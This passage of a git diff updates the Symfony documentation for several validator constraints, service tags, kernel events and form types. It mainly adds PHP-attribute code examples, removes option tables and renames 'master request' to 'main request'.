+                    - Type: Symfony\Component\Mime\Address
 
                 firstName:
                     - Type: string
@@ -88,9 +110,9 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Author">
-                <property name="id">
+                <property name="emailAddress">
                     <constraint name="Type">
-                        <option name="type">Ramsey\Uuid\UuidInterface</option>
+                        <option name="type">Symfony\Component\Mime\Address</option>
                     </constraint>
                 </property>
                 <property name="firstName">
@@ -120,7 +142,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -128,7 +150,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('id', new Assert\Type(UuidInterface::class));
+                $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 
@@ -143,13 +165,15 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             }
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be of type {{ type }}.``
 
@@ -173,8 +197,8 @@ Parameter        Description
 
 .. _reference-constraint-type-type:
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 7bcae08e961..102e6486e41 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -9,10 +9,6 @@ Validates that a value is a valid `Universally Unique Lexicographically Sortable
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ulid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UlidValidator`
 ==========  ===================================================================
@@ -37,6 +33,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Ulid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..f54885cbc2f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -2,8 +2,9 @@ Unique
 ======
 
 Validates that all the elements of the given collection are unique (none of them
-is present more than once). Elements are compared strictly, so ``'7'`` and ``7``
-are considered different elements (a string and an integer, respectively).
+is present more than once). By default elements are compared strictly,
+so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
+If you want to apply any other comparison logic, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -19,9 +20,6 @@ are considered different elements (a string and an integer, respectively).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
 ==========  ===================================================================
@@ -50,6 +48,19 @@ strings:
             protected $contactEmails;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\Unique]
+            protected $contactEmails;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -94,8 +105,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain only unique elements.``
 
@@ -107,7 +118,25 @@ You can use the following parameters in this message:
 =============================  ================================================
 Parameter                      Description
 =============================  ================================================
-``{{ value }}``                The repeated value
+``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
+``normalizer``
+~~~~~~~~~~~~~~
+
+**type**: a `PHP callable`_ **default**: ``null``
+
+.. versionadded:: 5.3
+
+    The ``normalizer`` option was introduced in Symfony 5.3.
+
+This option defined the PHP callable applied to each element of the given
+collection before checking if the collection is valid.
+
+For example, you can pass the ``'trim'`` string to apply the :phpfunction:`trim`
+PHP function to each element of the collection in order to ignore leading and
+trailing whitespace during validation.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`PHP callable`: https://www.php.net/callable
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2bf2533f57e..fc6fccb18f6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -10,17 +10,13 @@ using an email address that already exists in the system.
     If you want to validate that all the elements of the collection are unique
     use the :doc:`Unique constraint </reference/constraints/Unique>`.
 
+.. note::
+
+    In order to use this constraint, you should have installed the
+    symfony/doctrine-bridge with Composer.
+
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `em`_
-            - `entityClass`_
-            - `errorPath`_
-            - `fields`_
-            - `groups`_
-            - `ignoreNull`_
-            - `message`_
-            - `payload`_
-            - `repositoryMethod`_
 Class       :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntity`
 Validator   :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntityValidator`
 ==========  ===================================================================
@@ -59,6 +55,27 @@ between all of the rows in your user table:
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[UniqueEntity('email')]
+        class User
+        {
+            #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
+            #[Assert\Email]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -135,8 +152,8 @@ the uniqueness. If it's left blank, the correct entity manager will be
 determined for this class. For that reason, this option should probably
 not need to be used.
 
-entityClass
-~~~~~~~~~~~
+``entityClass``
+~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -146,8 +163,8 @@ inheritance mapping, you need to execute the query in a different repository.
 Use this option to define the fully-qualified class name (FQCN) of the Doctrine
 entity associated with the repository you want to use.
 
-errorPath
-~~~~~~~~~
+``errorPath``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: The name of the first field in `fields`_
 
@@ -188,6 +205,30 @@ Consider this example:
             public $port;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Service.php
+        namespace App\Entity;
+
+        use App\Entity\Host;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        #[ORM\Entity]
+        #[UniqueEntity(
+            fields: ['host', 'port'],
+            errorPath: 'port',
+            message: 'This port is already in use on that host.',
+        )]
+        class Service
+        {
+            #[ORM\ManyToOne(targetEntity: Host::class)]
+            public $host;
+
+            #[ORM\Column(type: 'integer')]
+            public $port;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,8 +285,8 @@ Consider this example:
 
 Now, the message would be bound to the ``port`` field with this configuration.
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -261,8 +302,8 @@ each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-ignoreNull
-~~~~~~~~~~
+``ignoreNull``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -271,8 +312,8 @@ entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is already used.``
 
@@ -300,8 +341,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-repositoryMethod
-~~~~~~~~~~~~~~~~
+``repositoryMethod``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``findBy``
 
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 5f4ac23245f..13fb590236b 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -5,12 +5,6 @@ Validates that a value is a valid URL string.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `protocols`_
-            - `relativeProtocol`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Url`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UrlValidator`
 ==========  ===================================================================
@@ -35,6 +29,19 @@ Basic Usage
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -85,8 +92,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid URL.``
 
@@ -124,6 +131,21 @@ Parameter        Description
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                message: 'The url {{ value }} is not a valid url',
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -172,8 +194,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-protocols
-~~~~~~~~~
+``protocols``
+~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``['http', 'https']``
 
@@ -200,6 +222,21 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                protocols: ['http', 'https', 'ftp'],
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -247,8 +284,8 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             }
         }
 
-relativeProtocol
-~~~~~~~~~~~~~~~~
+``relativeProtocol``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -275,6 +312,21 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                relativeProtocol: true,
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..c1632c3f7c7 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -12,16 +12,13 @@ password, but needs to enter their old password for security.
 
 .. note::
 
-    In order to use this constraints, you should have installed the
+    In order to use this constraint, you should have installed the
     symfony/security-core component with Composer.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator`
+Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
 
 Basic Usage
@@ -51,6 +48,21 @@ the user's current password:
             protected $oldPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Form/Model/ChangePassword.php
+        namespace App\Form\Model;
+
+        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
+
+        class ChangePassword
+        {
+            #[SecurityAssert\UserPassword(
+                message: 'Wrong value for your current password',
+            )]
+            protected $oldPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 427a373f788..865be23e277 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -4,16 +4,10 @@ UUID
 Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_.
 By default, this will validate the format according to the RFC's guidelines, but this can
 be relaxed to accept non-standard UUIDs that other systems (like PostgreSQL) accept.
-UUID versions can also be restricted using a whitelist.
+UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `strict`_
-            - `versions`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Uuid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UuidValidator`
 ==========  ===================================================================
@@ -38,6 +32,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Uuid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..ba4e789091c 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -7,9 +7,6 @@ an object and all sub-objects associated with it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
-            - `traverse`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Valid`
 ==========  ===================================================================
 
@@ -87,6 +84,40 @@ stores an ``Address`` instance in the ``$address`` property::
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Address.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Address
+        {
+            #[Assert\NotBlank]
+            protected $street;
+
+            #[Assert\NotBlank]
+            #[Assert\Length(max: 5)]
+            protected $zipCode;
+        }
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 4)]
+            protected $firstName;
+
+            #[Assert\NotBlank]
+            protected $lastName;
+
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -196,6 +227,19 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Valid]
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +287,11 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
+.. tip::
+
+    If you also want to validate that the ``address`` property is an instance of
+    the ``App\Entity\Address`` class, add the :doc:`Type constraint </reference/constraints/Type>`.
+
 Options
 -------
 
@@ -250,8 +299,8 @@ Options
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-traverse
-~~~~~~~~
+``traverse``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/_normalizer-option.rst.inc b/reference/constraints/_normalizer-option.rst.inc
index 784f915ff95..dcbba1c2da8 100644
--- a/reference/constraints/_normalizer-option.rst.inc
+++ b/reference/constraints/_normalizer-option.rst.inc
@@ -1,5 +1,5 @@
-normalizer
-~~~~~~~~~~
+``normalizer``
+~~~~~~~~~~~~~~
 
 **type**: a `PHP callable`_ **default**: ``null``
 
diff --git a/reference/constraints/_null-values-are-valid.rst.inc b/reference/constraints/_null-values-are-valid.rst.inc
new file mode 100644
index 00000000000..49b6a54faad
--- /dev/null
+++ b/reference/constraints/_null-values-are-valid.rst.inc
@@ -0,0 +1,6 @@
+.. note::
+
+    As with most of the other constraints, ``null`` is
+    considered a valid value. This is to allow the use of optional values.
+    If the value is mandatory, a common solution is to combine this constraint
+    with :doc:`NotNull </reference/constraints/NotNull>`.
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 020e84cde65..9f8eb4b8c3f 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -22,11 +22,13 @@ String Constraints
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
+* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..fd84a0ac70b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -5,50 +5,63 @@ Built-in Symfony Service Tags
 :doc:`DependencyInjection component </components/dependency_injection>` to flag
 services that require special processing, like console commands or Twig extensions.
 
-These are the most common tags provided by Symfony components, but in your
-application there could be more tags available provided by third-party bundles:
-
-========================================  ========================================================================
-Tag Name                                  Usage
-========================================  ========================================================================
-`auto_alias`_                             Define aliases based on the value of container parameters
-`console.command`_                        Add a command
-`container.hot_path`_                     Add to list of always needed services
-`container.no_preload`_                   Remove a class from the list of classes preloaded by PHP
-`container.preload`_                      Add some class to the list of classes preloaded by PHP
-`controller.argument_value_resolver`_     Register a value resolver for controller arguments such as ``Request``
-`data_collector`_                         Create a class that collects custom data for the profiler
-`doctrine.event_listener`_                Add a Doctrine event listener
-`doctrine.event_subscriber`_              Add a Doctrine event subscriber
-`form.type`_                              Create a custom form field type
-`form.type_extension`_                    Create a custom "form extension"
-`form.type_guesser`_                      Add your own logic for "form type guessing"
-`kernel.cache_clearer`_                   Register your service to be called during the cache clearing process
-`kernel.cache_warmer`_                    Register your service to be called during the cache warming process
-`kernel.event_listener`_                  Listen to different events/hooks in Symfony
-`kernel.event_subscriber`_                To subscribe to a set of different events/hooks in Symfony
-`kernel.fragment_renderer`_               Add new HTTP content rendering strategies
-`kernel.reset`_                           Allows to clean up services between requests
-`mime.mime_type_guesser`_                 Add your own logic for guessing MIME types
-`monolog.logger`_                         Logging with a custom logging channel
-`monolog.processor`_                      Add a custom processor for logging
-`routing.loader`_                         Register a custom service that loads routes
-`routing.expression_language_provider`_   Register a provider for expression language functions in routing
-`security.expression_language_provider`_  Register a provider for expression language functions in security
-`security.voter`_                         Add a custom voter to Symfony's authorization logic
-`security.remember_me_aware`_             To allow remember me authentication
-`serializer.encoder`_                     Register a new encoder in the ``serializer`` service
-`serializer.normalizer`_                  Register a new normalizer in the ``serializer`` service
-`swiftmailer.default.plugin`_             Register a custom SwiftMailer Plugin
-`translation.loader`_                     Register a custom service that loads translations
-`translation.extractor`_                  Register a custom service that extracts translation messages from a file
-`translation.dumper`_                     Register a custom service that dumps translation messages
-`twig.extension`_                         Register a custom Twig Extension
-`twig.loader`_                            Register a custom service that loads Twig templates
-`twig.runtime`_                           Register a lazy-loaded Twig Extension
-`validator.constraint_validator`_         Create your own custom validation constraint
-`validator.initializer`_                  Register a service that initializes objects before validation
-========================================  ========================================================================
+This article shows the most common tags provided by Symfony components, but in
+your application there could be more tags available provided by third-party bundles.
+
+assets.package
+--------------
+
+**Purpose**: Add an asset package to the application
+
+.. versionadded:: 5.3
+
+    The ``assets.package`` tag was introduced in Symfony 5.3.
+
+This is an alternative way to declare an :ref:`asset package <asset-packages>`.
+The name of the package is set in this order:
+
+* first, the ``package`` attribute of the tag;
+* then, the value returned by the static method ``getDefaultPackageName()`` if defined;
+* finally, the service name.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Assets\AvatarPackage:
+                tags:
+                    - { name: assets.package, package: avatars }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Assets\AvatarPackage">
+                    <tag name="assets.package" package="avatars"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Assets\AvatarPackage;
+
+        $container
+            ->register(AvatarPackage::class)
+            ->addTag('assets.package', ['package' => 'avatars'])
+        ;
+
+Now you can use the ``avatars`` package in your templates:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('...', 'avatars') }}">
 
 auto_alias
 ----------
@@ -316,8 +329,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
@@ -940,28 +953,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1030,7 +1021,7 @@ translation.extractor
 **Purpose**: To register a custom service that extracts messages from a
 file
 
-When executing the ``translation:update`` command, it uses extractors to
+When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
 has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
 :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
@@ -1343,6 +1334,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/events.rst b/reference/events.rst
index 900d40eb12c..75694ab1097 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -1,10 +1,11 @@
 Built-in Symfony Events
 =======================
 
-During the handling of an HTTP request, the Symfony framework (or any
+The Symfony framework is an HTTP Request-Response one.
+During the handling of an HTTP request, the framework (or any
 application using the :doc:`HttpKernel component </components/http_kernel>`)
 dispatches some :doc:`events </event_dispatcher>` which you can use to modify
-how the request is handled.
+how the request is handled and how the response is returned.
 
 Kernel Events
 -------------
@@ -14,7 +15,7 @@ Each event dispatched by the HttpKernel component is a subclass of
 following information:
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequestType`
-    Returns the *type* of the request (``HttpKernelInterface::MASTER_REQUEST``
+    Returns the *type* of the request (``HttpKernelInterface::MAIN_REQUEST``
     or ``HttpKernelInterface::SUB_REQUEST``).
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getKernel`
@@ -23,8 +24,8 @@ following information:
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequest`
     Returns the current ``Request`` being handled.
 
-:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-    Checks if this is a master request.
+:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+    Checks if this is a main request.
 
 .. _kernel-core-request:
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 49d769c8967..eaa0344f141 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -23,6 +23,7 @@ Form Types Reference
    types/color
 
    types/choice
+   types/enum
    types/entity
    types/country
    types/language
@@ -41,6 +42,9 @@ Form Types Reference
    types/file
    types/radio
 
+   types/uuid
+   types/ulid
+
    types/collection
    types/repeated
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..f130aa9fc6a 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -14,51 +14,28 @@ This type is essentially the same as the :doc:`DateType </reference/forms/types/
 type, but with a more appropriate default for the `years`_ option. The `years`_
 option defaults to 120 years ago to the current year.
 
-+----------------------+-------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
-|                      | (see the :ref:`input option <form-reference-date-input>`)                     |
-+----------------------+-------------------------------------------------------------------------------+
-| Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
-+----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
-+----------------------+-------------------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
+|                           | (see the :ref:`input option <form-reference-date-input>`)                     |
++---------------------------+-------------------------------------------------------------------------------+
+| Rendered as               | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
++---------------------------+-------------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid birthdate.                                               |
++---------------------------+-------------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                           |
++---------------------------+-------------------------------------------------------------------------------+
+| Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
++---------------------------+-------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``years``
 ~~~~~~~~~
 
@@ -95,7 +72,7 @@ values for the year, month and day fields::
     $builder->add('birthdate', BirthdayType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/date_format.rst.inc
@@ -128,8 +105,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
